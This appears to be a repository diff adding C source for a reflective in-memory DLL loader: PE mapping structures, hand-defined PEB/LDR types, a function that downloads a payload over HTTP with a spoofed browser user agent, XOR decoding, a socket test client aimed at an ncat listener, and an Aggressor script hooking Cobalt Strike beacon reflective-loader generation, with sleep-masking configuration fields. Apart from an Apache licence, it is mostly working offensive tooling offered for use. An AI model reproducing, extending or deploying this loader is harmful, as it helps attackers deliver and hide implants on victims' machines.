||||
BOOL HandleTLS(PMEM_MODULE pMemModule);
|
||||
|
||||
|
||||
// Calls the module entry.
|
||||
BOOL CallModuleEntry(PMEM_MODULE pMemModule, DWORD dwReason);
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Unmaps all the sections.
|
||||
VOID UnmapModule(PMEM_MODULE pMemModule);
|
||||
// Gets the CRC32 of the data.
|
||||
UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize);
|
||||
@@ -0,0 +1,162 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
#define MMEC_OK 0
|
||||
#define MMEC_BAD_PE_FORMAT 1
|
||||
#define MMEC_ALLOCATED_MEMORY_FAILED 2
|
||||
#define MMEC_INVALID_RELOCATION_BASE 3
|
||||
#define MMEC_IMPORT_MODULE_FAILED 4
|
||||
#define MMEC_PROTECT_SECTION_FAILED 5
|
||||
#define MMEC_INVALID_ENTRY_POINT 6
|
||||
#define MMEC_INVALID_WIN32_ENV 0xff
|
||||
|
||||
/// Enums for MemModuleHelper.
|
||||
typedef enum _MMHELPER_METHOD {
|
||||
MHM_BOOL_LOAD, // Call LoadMemModule
|
||||
MHM_VOID_FREE, // Call FreeMemModule
|
||||
MHM_FARPROC_GETPROC, // Call GetMemModuleProc
|
||||
} MMHELPER_METHOD;
|
||||
|
||||
typedef void** HMEMMODULE;
|
||||
|
||||
struct PAYLOAD {
|
||||
PVOID pDllBytes;
|
||||
DWORD BytesNumber;
|
||||
HMEMMODULE Module;
|
||||
DWORD mappedimagesize;
|
||||
LPVOID startOfMappedPE;
|
||||
LPVOID OldstartOfMappedPE;
|
||||
BYTE* tempPEdatabuffer;
|
||||
LPVOID execRegionPtr;
|
||||
DWORD execRegionSize;
|
||||
|
||||
}_PAYLOAD, * PPAYLOAD;
|
||||
|
||||
extern struct PAYLOAD DllPayload;
|
||||
|
||||
typedef void (WINAPI* FuncPtr)(DWORD);
|
||||
|
||||
struct CONFIG {
|
||||
FuncPtr SleepHookFunc;
|
||||
char* XorKey;
|
||||
char SleepXorKey[256];
|
||||
BOOL Beacon;
|
||||
BOOL Sleep_RXRW;
|
||||
char* downloadedBuffer;
|
||||
};
|
||||
|
||||
extern struct CONFIG Configs;
|
||||
|
||||
typedef struct __MEMMODULE_S {
|
||||
union {
|
||||
#if _WIN64
|
||||
ULONGLONG iBase;
|
||||
#else
|
||||
DWORD iBase;
|
||||
#endif
|
||||
HMODULE hModule;
|
||||
LPVOID lpBase;
|
||||
PIMAGE_DOS_HEADER pImageDosHeader;
|
||||
};
|
||||
DWORD dwSizeOfImage;
|
||||
DWORD dwCrc;
|
||||
|
||||
|
||||
BOOL CallEntryPoint;
|
||||
BOOL isLoaded;
|
||||
DWORD dwErrorCode;
|
||||
} MEM_MODULE, * PMEM_MODULE;
|
||||
|
||||
extern PMEM_MODULE pMemModule;
|
||||
|
||||
extern LPVOID oldbase;
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
|
||||
|
||||
typedef BOOL(WINAPI* Type_DllMain)(HMODULE, DWORD, LPVOID);
|
||||
|
||||
BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer, BOOL bCallEntry);
|
||||
BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer);
|
||||
BOOL MapModule(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer);
|
||||
BOOL doRelocations(PMEM_MODULE pMemModule);
|
||||
BOOL ResolveImports(PMEM_MODULE pMemModule);
|
||||
BOOL SetPermissions(PMEM_MODULE pMemModule);
|
||||
BOOL HandleTLS(PMEM_MODULE pMemModule);
|
||||
BOOL CallEntryPoint(PMEM_MODULE pMemModule, DWORD dwReason);
|
||||
VOID UnmapModule(PMEM_MODULE pMemModule);
|
||||
UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize);
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING;
|
||||
typedef UNICODE_STRING* PUNICODE_STRING;
|
||||
typedef const UNICODE_STRING* PCUNICODE_STRING;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID BaseAddress;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
#ifdef _WIN64
|
||||
typedef struct _PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[21];
|
||||
PPEB_LDR_DATA Ldr;
|
||||
PVOID ProcessParameters;
|
||||
BYTE Reserved3[520];
|
||||
PVOID PostProcessInitRoutine;
|
||||
BYTE Reserved4[136];
|
||||
ULONG SessionId;
|
||||
} PEB, * PPEB;
|
||||
#else
|
||||
typedef struct _PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PPEB_LDR_DATA Ldr;
|
||||
LPVOID ProcessParameters;
|
||||
PVOID Reserved4[3];
|
||||
PVOID AtlThunkSListPtr;
|
||||
PVOID Reserved5;
|
||||
ULONG Reserved6;
|
||||
PVOID Reserved7;
|
||||
ULONG Reserved8;
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PVOID Reserved9[45];
|
||||
BYTE Reserved10[96];
|
||||
LPVOID PostProcessInitRoutine;
|
||||
BYTE Reserved11[128];
|
||||
PVOID Reserved12[1];
|
||||
ULONG SessionId;
|
||||
} PEB, * PPEB;
|
||||
#endif
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
@@ -0,0 +1,112 @@
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "utils.h"
|
||||
#include "structs.h"
|
||||
|
||||
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
|
||||
struct PAYLOAD DllPayload = { 0 };
|
||||
|
||||
char* DownloadFile(const char* url, DWORD* size)
|
||||
{
|
||||
HINTERNET hInternet, hConnect;
|
||||
DWORD bytesRead;
|
||||
|
||||
// Initialize WinINet
|
||||
hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||
if (hInternet == NULL)
|
||||
{
|
||||
printf("InternetOpen failed (%lu)\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
||||
if (hConnect == NULL)
|
||||
{
|
||||
printf("InternetOpenUrlA failed (%lu)\n", GetLastError());
|
||||
InternetCloseHandle(hInternet);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const DWORD bufferSize = 20 * 1024 * 1024;
|
||||
char* buffer = malloc(bufferSize);
|
||||
if (buffer == NULL) {
|
||||
printf("Failed to allocate memory\n");
|
||||
return NULL;
|
||||
}
|
||||
*size = 0;
|
||||
while (1)
|
||||
{
|
||||
if (!InternetReadFile(hConnect, buffer + *size, 4096, &bytesRead) || bytesRead == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
*size += bytesRead;
|
||||
if (*size > bufferSize) {
|
||||
printf("Buffer overflow\n");
|
||||
free(buffer);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
printf("[+] Buffer allocated at address: %p\n", buffer);
|
||||
|
||||
Configs.downloadedBuffer = buffer;
|
||||
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
void XORWithKey(char* data, DWORD size, const char* key)
|
||||
{
|
||||
size_t keyLength = strlen(key);
|
||||
for (DWORD i = 0; i < size; ++i)
|
||||
{
|
||||
data[i] ^= key[i % keyLength];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL ReadDllFile(char* FileInput) {
|
||||
HANDLE hFile;
|
||||
DWORD FileSize, lpNumberOfBytesRead;
|
||||
BOOL Succ;
|
||||
PVOID DllBytes;
|
||||
|
||||
|
||||
|
||||
hFile = CreateFileA(FileInput, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
DWORD error = GetLastError();
|
||||
if (error == ERROR_FILE_NOT_FOUND) {
|
||||
printf("[!] Dll File Doesnt Exist \n");
|
||||
}
|
||||
else {
|
||||
printf("[!] ERROR READING FILE [%d]\n", error);
|
||||
}
|
||||
system("PAUSE");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
FileSize = GetFileSize(hFile, NULL);
|
||||
DllBytes = malloc((SIZE_T)FileSize);
|
||||
|
||||
Succ = ReadFile(hFile, DllBytes, FileSize, &lpNumberOfBytesRead, NULL);
|
||||
printf("[i] lpNumberOfBytesRead Read ::: %d \n", lpNumberOfBytesRead);
|
||||
printf("[+] DllBytes :: 0x%0-16p \n", (void*)DllBytes);
|
||||
if (!Succ) {
|
||||
printf("[!] ERROR ReadFile [%d]\n", GetLastError());
|
||||
system("PAUSE");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DllPayload.BytesNumber = lpNumberOfBytesRead;
|
||||
DllPayload.pDllBytes = DllBytes;
|
||||
|
||||
CloseHandle(hFile);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "structs.h"
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
#pragma once
|
||||
|
||||
char* DownloadFile(const char* url, DWORD* size);
|
||||
void XORWithKey(char* data, DWORD size, const char* key);
|
||||
BOOL ReadDllFile(char* FileInput);
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,58 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib") // Link against the Winsock library
|
||||
|
||||
// build with x86_64-w64-mingw32-gcc socket.c -o socket_program.exe -lws2_32
|
||||
|
||||
int main() {
|
||||
WSADATA wsaData;
|
||||
SOCKET sock;
|
||||
struct sockaddr_in server;
|
||||
char recvBuffer[1024];
|
||||
int recvSize;
|
||||
int connectionResult;
|
||||
|
||||
// Initialize Winsock
|
||||
WSAStartup(MAKEWORD(2,2), &wsaData);
|
||||
|
||||
while(1) {
|
||||
sock = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock == INVALID_SOCKET) {
|
||||
printf("Could not create socket : %d" , WSAGetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
server.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_port = htons(81); // Ensure this matches your ncat listening port
|
||||
|
||||
|
||||
connectionResult = connect(sock , (struct sockaddr *)&server , sizeof(server));
|
||||
if (connectionResult < 0) {
|
||||
printf("Connect failed with error code : %d" , WSAGetLastError());
|
||||
closesocket(sock);
|
||||
Sleep(3000);
|
||||
continue;
|
||||
}
|
||||
|
||||
printf("Connected\n");
|
||||
|
||||
|
||||
recvSize = recv(sock , recvBuffer , sizeof(recvBuffer) , 0);
|
||||
if(recvSize == SOCKET_ERROR) {
|
||||
printf("Recv failed with error code : %d" , WSAGetLastError());
|
||||
} else {
|
||||
recvBuffer[recvSize] = '\0';
|
||||
printf("Reply received: %s\n", recvBuffer);
|
||||
}
|
||||
|
||||
closesocket(sock);
|
||||
Sleep(3000);
|
||||
}
|
||||
|
||||
WSACleanup();
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
# ------------------------------------
|
||||
# $1 = DLLfilename
|
||||
# $2 = arch
|
||||
# ------------------------------------
|
||||
|
||||
set BEACON_RDLL_SIZE {
|
||||
warn("Running 'BEACON_RDLL_SIZE' for DLL " .$1. " with architecture " .$2);
|
||||
return "0";
|
||||
}
|
||||
|
||||
set BEACON_RDLL_GENERATE {
|
||||
local('$arch $beacon $fileHandle $ldr $path $payload');
|
||||
$beacon = $2;
|
||||
$arch = $3;
|
||||
|
||||
# Apply the transformations to the beacon payload
|
||||
$beacon = setup_transformations($beacon, $arch);
|
||||
|
||||
return $beacon;
|
||||
}
|
||||
Reference in New Issue
Block a user